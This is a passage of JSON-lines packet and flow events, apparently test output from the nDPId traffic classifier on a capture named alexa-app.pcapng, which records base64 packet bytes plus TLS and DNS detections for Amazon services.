SlQSsvfDP1GRsioXaReRu9MPRUN6AS8rn7j7sPvg2nQwqz96CW4U+ZAZnpmaRcL1tpcpRzJvScx3LP+AkB+JSkN2UnXaqQ="} +00714{"flow_id":90,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1370,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":364882,"pkt_caplen":268,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":268,"pkt_l4_len":234,"pkt":"AMDKkaPvePiC0\/vCCABFAAD+FFtAAEAGMdKsECrYNF7ohrKQAbsDIHw8rvLS8VAYAVfkmQAAYfiB561ng9LvCg1\/ni8hVIclnlRA77AjXYu6e\/IK6OLHJ5GCgaMt\/famG2wgotcnxDjdpZOe1cwonTftUkd\/OqS7qhoSKIqljgP13il+O5dtHCX+g05DwTsUXzBOua19zuDVDMHJtEdIa\/9jpNvxbaVI+Okg\/bQKkvcgLf0h4ZjvXgS14147hRtkKyi3qbfvs2USdhmmawwv0gHDRnyG1q9LB0Ldc6nmaVe4F7Jd6gYW+R9N3\/Znomb290Qs1LbHnbXtH4rMQ+Kx+ZcvJtTplkAfafkH2A=="} +02410{"flow_id":92,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1371,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":366495,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXc35ZAAEAGYbisECrYNF7ohrKSAbuabb\/ln5yDYFAQAVdY4AAAFwMBACAxOXnbOB00Ydbq0myEW0OkHMSFkb95zBRYrCRko6JpzhcDAQYgNLTnSXQ9svgqfKWVlrQngszukuTE7nKnDUEZYxrlAmYbGa1uZ9dFMEH1kcfHo6zOTAkPkSr3v05auMyQXhxyUM+Qlw0ggqwNfizjxfRy\/UTnOo5Ec6FDh\/4oYfa+J46aZ9XLhR8omFWa60IDdQQgnw7SPrV+xQkLTAA4EIb0XbLbGsllipsNHeXmJeh0aGA3ht0tEkwFfjopVs3JQ9XxwS+ghp7l\/eHyOcCrcWOmijXPfIF7fB1t8qMue6sK75mbRQMyOpYkuHC6vGSBi3C6D9dHCwkc4ciV2PxV9fZegOkUhKJT2g893OeHbn+cGu9FChWLZYJ99HQUOumcrur+nZbplAojB8vDFFR+QLS3\/GjgzyyxRFnp1frnHqivV67H6xaSgX4To2ORRiqXdrWzrZTe5qwPtpIKGR5eCf6IenCVXl4BvbLE4M7\/j4sRpg8PMJpWFmWNpJqMDEzui5IhhQZEpuSYq8+NiyjiECAI3NgvGuGdAb39yEbyx8cvLebCZCLKdESYrjT9T8I24aJkp4ulxShcIvVbEgYsFrt4R7NNQmsZvsRraSN5AHW66\/lyhj2UvGjvWqq3zjkIMYYL7+Wl\/3Ucntf6dJt8ceMiIGFRYfTgvDfUSYChK+gyWNX6m29Vpy7tAffHakNsdC9yHGo7HevDE\/7oR\/VfgDFPU9LW4v1iipwz5CoUO2BkN3RrIQjhk0leTMfmnYusHwNR1\/82MFoho2R+4zWvVCSvCCDudehqGb7zkFaYdpSgeUqDlj\/a302l03x6d\/u5O5VKWEs5+Nm6CKagglsyTDXCtT5GMPJ9qOf1KzFXxmKfh1qPGPUjH6uMj\/GmJy0zHHzFCuFvHHs94qWBxhFpG2tQ6e9QQ1ebYXii\/gf9dlVuG3t0huSqTFhYDKyt5k0Z7s8QZ6WsmWGhC0fE3lSSO40hoN9Y5nrXsLSe6fSqCtQT03d03D02RE6GUz3sp+H8gXUCLmZb6sxqTJ209iw3scEnrzCEcXlA058OSXeJag0rV9Erllz5fbKrpS1kCvdLretW1tBL\/vCaHyRPUTAqLrg3\/yFXv78FN5NS31yhsRbNuWC4KWPGRsbmzbNqXSpLm9kYQLNQHMOzjnXOGZ3ynmiP\/Ekzu5zWrH\/GrQ0KbEt5xXHqnEjilk0STUzBka3cPdy8nHfJ8N2xtcw80\/2Scz\/SxWTBvAAQdmy7Qh965JZml\/onIcinXc8tG+6FIod\/TluEUGqO\/nfAgO\/qyqCOstVYkXzqAYQam9FOMH8sFEB9SdhdZ5rHslSZn9jCWBfaphItGETUpwGVGQ\/+I9\/5IqK59SDBxJZ79K\/K9KvvugTFitD8lD0I2dNrqDwk3SMpZ13IUi2xIZtYvGPPcHy\/hI5llZnaVeOqmx4KCM5wXWEoVcrVr0r4sd7p9HPoLeCWaW3j2BR5b0AVjA3Y0mdbN+C2RII\/VeVkCMaX6Su\/9FSy+A5KL6eDEQd1qNbMiJbjsWCnRcJSsq9GonkVGG2LnjE+qXT\/xBRWhUnnEiYNkH8484UfDNwoRVAPYeEM+Z\/TZQ3oKNstYo9ztA\/jxXvIXHuodw2JOBGY\/IqGutMlHdpOGB9ycbkRfwWNOIH8EKqoPD0gUTmb3jdoKTbIOjsbke6GQYzPhkZUJeiFuZQz02XnBPUJ+wKESpvBxhgVUuJl39RFf1GG87lRo94Wath7m0EGZK7ql7mBTpGY1K8j8\/X\/f8GwEd8JQwxjM+YuL20vfjEYa1AeWltEDcjw4Nd6ekBcJiZqv\/llpjT9sejK8H5iNlSWhjJmuUtkLe3YTNvZGPqOYEltH7SvUFE4WbOGrTQ13ySWzAifVyF\/DP56aNnNXFMewttDnvLLszCgJdF\/ZvgK9fj2UpjYBDMa8bM="} +00623{"flow_id":92,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1372,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":366845,"pkt_caplen":204,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":204,"pkt_l4_len":170,"pkt":"AMDKkaPvePiC0\/vCCABFAAC+35dAAEAGZtWsECrYNF7ohrKSAbuabcWZn5yDYFAYAVdbFgAA67UFfZIxmJUo3JpvT8icrXuTKCdSyn0jKciZ9PQ+69k9rIuPqSx+Y1eonhrV\/ieSyOjKgRk6pFhuJdWz9MB844wfIEx\/rxZv40KOtX9mUPgXmn\/cVzlVnuHC5mbQ1st0UXf7CV476OOyPqyLcT+cy0Zw5lLiqu8Abt9AdpBb512iCh\/sGjVAHHrJzGZiYtKCZQ3K6j3m"} +00423{"flow_id":91,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1376,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":509885,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAonTNAAOcGAs80XuiGrBAq2ABQwds2rrGqGjBjfFARAH+TVgAAAAAAAAAA"} +00415{"flow_id":91,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1377,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":510907,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoAmRAAEAGRJ+sECrYNF7ohsHbAFAaMGN8Nq6xq1AQAVeSfgAA"} +00425{"flow_id":90,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1378,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":528438,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo7oFAAOcGsYA0XuiGrBAq2AG7spCu8tLxAyB2iFAQf\/eMNwAAAAAAAAAA"} +00425{"flow_id":93,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1380,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":528618,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAorklAAOcG8bg0XuiGrBAq2AG7spNBzzeC0hcu+1AQf\/cNXQAAAAAAAAAA"} +00426{"flow_id":92,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1381,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":528652,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoi29AAOcGFJM0XuiGrBAq2AG7spKfnINgmm2\/5VAQf\/cKcgAAAAAAAAAA"} +00425{"flow_id":93,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1383,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":528782,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAosGBAAOcG76E0XuiGrBAq2AG7spNBzzeC0hcu+1AQf\/cNXQAAAAAAAAAA"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1389,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1490976090572,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34069,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":95,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1389,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":572590,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8o8xAAEAGcF6sECrYNu8YuoUVAbs6msJ9AAAAAKAC\/\/863gAAAgQFtAQCCAoA9mGxAAAAAAEDAwg="} +02402{"flow_id":93,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1392,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":720500,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcTQNAAEAG9EusECrYNF7ohrKTAbvSFy77Qc83glAQAVenLQAAFwMBACD44FHjMfKewfxzYudxIpXCLItB1NQV1muzY\/d798KlbBcDAQZgoZInXHO9a\/RDDSeVUYBvycvA+lS55aPWGYYDHweR1MZA14GeeL19BzQ2hCPJsF0aTTB4YweLpKJF\/kfHoxQ\/Fw3qHRcH9I6qbhb5e+O3CNrELRczYGqEB8hcsA0Y0OyrYGC0BmFkwFsiE2svYlHUsIBdscNt4gzJG\/XkjXpTKhNSwTHXi\/4j\/N3T9gFwsOscfLT6CH3ZSXAK1isi5PE5Gs1eU3CqMd8qgGHaYuaBewyQbS+4dKhNHU2QgmKN8BJo25LfzNEC0AivMD28lAq+J4Wa80fDRt71SDzLwze+m3ULSRverhurIqpNuZFda\/3gnNpbsdGuZJmmo4c+bUdpd8mjwyYflr6VJugHyeI5CFM1G7jT5FCZ8X8UT243wurvWrtFZVQENmBLl9+hFtub7Fuv1TQIXsUIdoXtlR+6EWUeMsW9QleyFbHJ6nVVt5nKiNX0DqGCUdyiA3+ygyM4PjEdwXqP+sMmLM1uKdLCEX7bN1vl8U9g+H14nTlqWgcKGrDWDIm5njQSFgrLTq0DZQMu\/LQjVNY60WnUVFZ9capl9ccErsRT6QLuHcwhWROSEpap+6asa9hoWITyQnHHf+Pbm9I\/f14p1EAPsdYiM3f40B7GCbsB4xiKa3RgPw+L7GKP2ip2\/u+nzD3We0GLN+wfE26o5\/nYjFnEgkrJ2pHao6z5EPxXDupdDVIvi\/PoyVvlUq+D\/Ge6z7wm5zFQ5IJq3RGdeNrRFyg\/OCsjQ0IwpIN5CQT3jbWJKcuzRyXpOTxkW8m5SUiEh55evA+BDSjUAQSbpUAjue6h7J4jbhfFOqKykVETYA47aosSgS459rVz3cetKpF+aO+bhGOdLkRanshFLnFaKbnnafNcVIOR409K84abACiKi7WWOTFacDzKqcTW4LupNjzvzwqbjNJvCCtGYSBdQc7ZWqy6du53PTHcUaL2KA0y5ypD07P4LdIc2\/K5Wy0cd1SKbLICrOCtfpF9whBJZ+CSR0IE4hmfYnmFZFVDwtMffcaAdFMNOPWTgipuN1XINiLvDyYlb\/Y4F03SyVvRzx3zy+5hUwNF07BMM4eX18n7\/ArEvbHUV4zA2cMsmjEuuUT3ywqzrI7XvbdXkLC4q3e10X\/n1CEWpbNcbgIEqB+eYJEI2biPUwBW7S\/Dnkc9NSwrZ\/x\/euPEUXK4CSGgGq8Ij5IUKtV1aqcHTN7waVrVCJl9Q\/RZViK7+SGkqubZ0P+7RhQFbcxwuUFdzRT6jtOcaV+dGnEBgErFPxEomB8JaXlP9OHaQqx5oBi91MLoprKZBTUYOvA4F77Xv9YVFMXwxU\/kxaFIY6H6QP35OocijPkzgLvohZjd4jHabCA7mQXqZw4m5XO+E1PM2pNVMgKlaSzCbp3jIKdgO5mpO1qYK1f0cR2SHN2OQXATtF+ccd\/wUmFaz3gs6BUNnkrQqt6\/+GVaw8Twe6+uqeQWiASsmo8WpBlAJQM76jEAvJ+g\/ovnKk6Cga4RYti4\/9RK01c5pQU1I9BWLJj2xw24mjzaSFssO6l9DB4N7ewSncF0NkjCSgwhzSvj40H0flwRbpZrkso9VcM0WTJjidMTaM\/be473zZS7hr9grGj8F0sl3yf9czWS\/Ld4INvTwCa0bWrHck8K3JAvmYPDlJ0jouHthuvu9VvK+UtN9GhtImMvmNFPCqsNDyrTjsd\/hNs9cLghY1KAq+3bli+ziN0ZH\/hT8HJu3PTKTcveWkvgroBSHw0HiliaiFMBDkJW5Bg0NWNHaQpstQLx+vMRyO3zZOoIe8ScON4IDApzUAhXYVJXgytEDD8pZweKtucxXCP1MBvXhqArIViFE7a3AkcAuJQSCf+JxUG5GterlIwh2UkjzhfbMzNoSkFIJBDA2SUw0E4="} +00428{"flow_id":95,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1396,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":753591,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwZiVAAOcGBxE27xi6rBAq2AG7hRXpU+crOprCfnASH\/7pEAAAAgQFtAEDAwY="} +00415{"flow_id":95,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1400,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":756047,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoo81AAEAGcHGsECrYNu8YuoUVAbs6msJ+6VPnLFAQAVczggAA"} +00768{"flow_id":95,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1401,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":757864,"pkt_caplen":313,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":313,"pkt_l4_len":279,"pkt":"AMDKkaPvePiC0\/vCCABFAAEro85AAEAGb22sECrYNu8YuoUVAbs6msJ+6VPnLFAYAVetagAAFgMBAP4BAAD6AwNTzm7uRNuMF2nu0jG4OW4cloVHrfFLs+QfEmruD54TVyAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LgAgWlrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACRamoAAP8BAAEAAAAALAAqAAAnbW9iaWxlYW5hbHl0aWNzLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIysoAHQAXABjq6gABAA=="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1401,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":95,"flow_packet_id":4,"flow_first_seen":1490976090572,"flow_last_seen":1490976090757,"flow_tot_l4_data_len":367,"flow_min_l4_data_len":20,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":91,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34069,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1409,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1490976090796,"flow_last_seen":0,"flow_tot_l4_data_len":53,"flow_min_l4_data_len":53,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":35726,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00459{"flow_id":96,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1409,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":796987,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"AMDKkaPvePiC0\/vCCABFAABJWlpAAEARM1CsECrYrBAqAYuOADUANbcep0QBAAABAAAAAAAADXMzLWV4dGVybmFsLTIJYW1hem9uYXdzA2NvbQAAAQAB"} +00655{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1409,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1490976090796,"flow_last_seen":0,"flow_tot_l4_data_len":53,"flow_min_l4_data_len":53,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":35726,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"s3-external-2.amazonaws.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00425{"flow_id":95,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1410,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":958993,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAobwJAAOcG\/js27xi6rBAq2AG7hRXpU+csOprDgVAQf\/uz2gAAAAAAAAAA"} +00424{"flow_id":95,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1411,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":959140,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoU6BAANsGJZ427xi6rBAq2AG7hRXpU+csOprDgVAQf\/uz2gAAAAAAAAAA"} +00629{"flow_id":95,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1412,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":959188,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"ePiC0\/vCAMDKkVoBCABFAADEU6FAANsGJQE27xi6rBAq2AG7hRXpU+csOprDgVAYf\/uFfwAAFgMDAGQCAABgAwMFxYNk4h7Cqgw+EpcZUuAI2voL1iACiKKQZmILf1NDUCAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LsAvAAAY\/wEAAQAABQAAABAACwAJCGh0dHAvMS4xFAMDAAEBFgMDACiMWogYyy4KpYQtzAOFhkVEkD0Z++tdsOXV5vG6W882qckfcMhjxJH+"} +00811{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1412,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":95,"flow_packet_id":7,"flow_first_seen":1490976090572,"flow_last_seen":1490976090959,"flow_tot_l4_data_len":583,"flow_min_l4_data_len":20,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34069,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"d199ba0af2b08e204c73d6d81a1fd260","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00415{"flow_id":95,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1417,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":961685,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoo89AAEAGcG+sECrYNu8YuoUVAbs6msOB6VPnyFAQAVsx3wAA"} +00485{"flow_id":95,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1418,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":961960,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AMDKkaPvePiC0\/vCCABFAABbo9BAAEAGcDusECrYNu8YuoUVAbs6msOB6VPnyFAYAVsudAAAFAMDAAEBFgMDACgAAAAAAAAAAB0w4gPWY3YckGqBaIlRln9W1Z9p7Eqgk+86BYrFQm4s"} +00521{"flow_id":96,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1424,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":982120,"pkt_caplen":131,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":131,"pkt_l4_len":97,"pkt":"ePiC0\/vCAMDKkaPvCABFAAB13VlAAEARsCSsECoBrBAq2AA1i44AYd1op0SBgAABAAIAAAAADXMzLWV4dGVybmFsLTIJYW1hem9uYXdzA2NvbQAAAQABwAwABQABAAAADgAQDXMzLWV4dGVybmFsLTHAGsA5AAEAAQAAAAQABDbnSFg="} +00681{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1424,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":96,"flow_packet_id":2,"flow_first_seen":1490976090796,"flow_last_seen":1490976090982,"flow_tot_l4_data_len":150,"flow_min_l4_data_len":53,"flow_max_l4_data_len":97,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":35726,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"s3-external-2.amazonaws.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.231.72.88"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1425,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1490976090991,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.231.72.88","src_port":41820,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":97,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1425,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":991595,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8byFAAEAGdXOsECrYNudIWKNcAbsQFQ76AAAAAKAC\/\/\/K3wAAAgQFtAQCCAoA9mHbAAAAAAEDAwg="} +02400{"flow_id":95,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1426,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":992842,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXco9FAAEAGarmsECrYNu8YuoUVAbs6msO06VPnyFAQAVuT5QAAFwMDCxgAAAAAAAAAActyeU9kGBB4Bx6fhWNkvXnX\/ycJGoXNMIIWzcCQ6K+o1FaIuQR+r6K1327KsHUd8HxeBHbs4UW38KOSai5G5ubzbHhF7ICkED1Ojc36gnjtnpKf5K1WZzJ8zJdTAU1fVk9Ar\/oaE9Tf3wm9PSG8eKf0CSZfQhOdPTVxi05KD96Pzeh3kLzprPsXQKH3NgMp+wVtEjGOhNHP1AjimKapVNDukUpqdCgKQQku41uq87SSop68ODCb6vPE\/MgP5rayTaRQlswfsYw0K22yXcNGbVVmNPVsON6UKgp5EjBibNWffcUEycOSkIUPVFAIjxIqoCmO04hk\/WIgT181bHsP0BTn\/HqbFgZyHjS63o7LhaNaTJJPja\/WdkcGLtXic6r22QZRAjKmrbcjShqLeN8E9xq16eDoUaVs7uFtiOAxD\/SKVdokRoA3ULjFlHRVY6mqBW0i1sB\/Iu4HImonanSF8739+kFAXioTIOXpOtfE0h0gL6lFMNKW2JZe+VMayyyQwJFm++Zm4onJZfEE1QxKPwiAzf68cRgtcul+GnTVEMHLENKco4UV9wLzMtjroTHl8oCWuiFOy0mDos7bx+oGmf71CIVqFylzXI2mjiQr11omY6Wm7Rnk1YArtNsaLFMOkXp8iD8T0gv0Jwn6lKUkXIzdPr35wT5guaDw0O167\/UWfChaq\/le0lF5KXP3u9G2WAo2pW8Mydbyq5x9KA35JeA01euI4AzBj1yImsu+bLEZgJVMPrijAtLwLFoVdw2lIlYnRTfnrHIG6OpEEeuxb8tt9kqKrJdi7iLYubnpwbvbSpmiZi16ps8JMpWQkB7V8icm676ACJzhWN9aOc8VaiLDoxgBH3Se3tdClpcy\/1J\/Ijf0DLIc\/GNQGsxb0GsKJhH5orHc04y+\/ocGPoizSYvwuyhQFgZHK1QPPxnct74AsPkE1seEP0xgl5AeaVIu8AIIuM2G\/4AaV1aJbqyhmdyDE5Pz79nypgRFaxpLiY6lrvLIrn\/9jp\/gcJMZRoofd+laQ4vFcAbGevRCB4GXY7AKHPZmABvR3E09eEowhjxIYE0tVYZpCoI1vEyNax1XI1avbLA8qqQLZzSDfE3i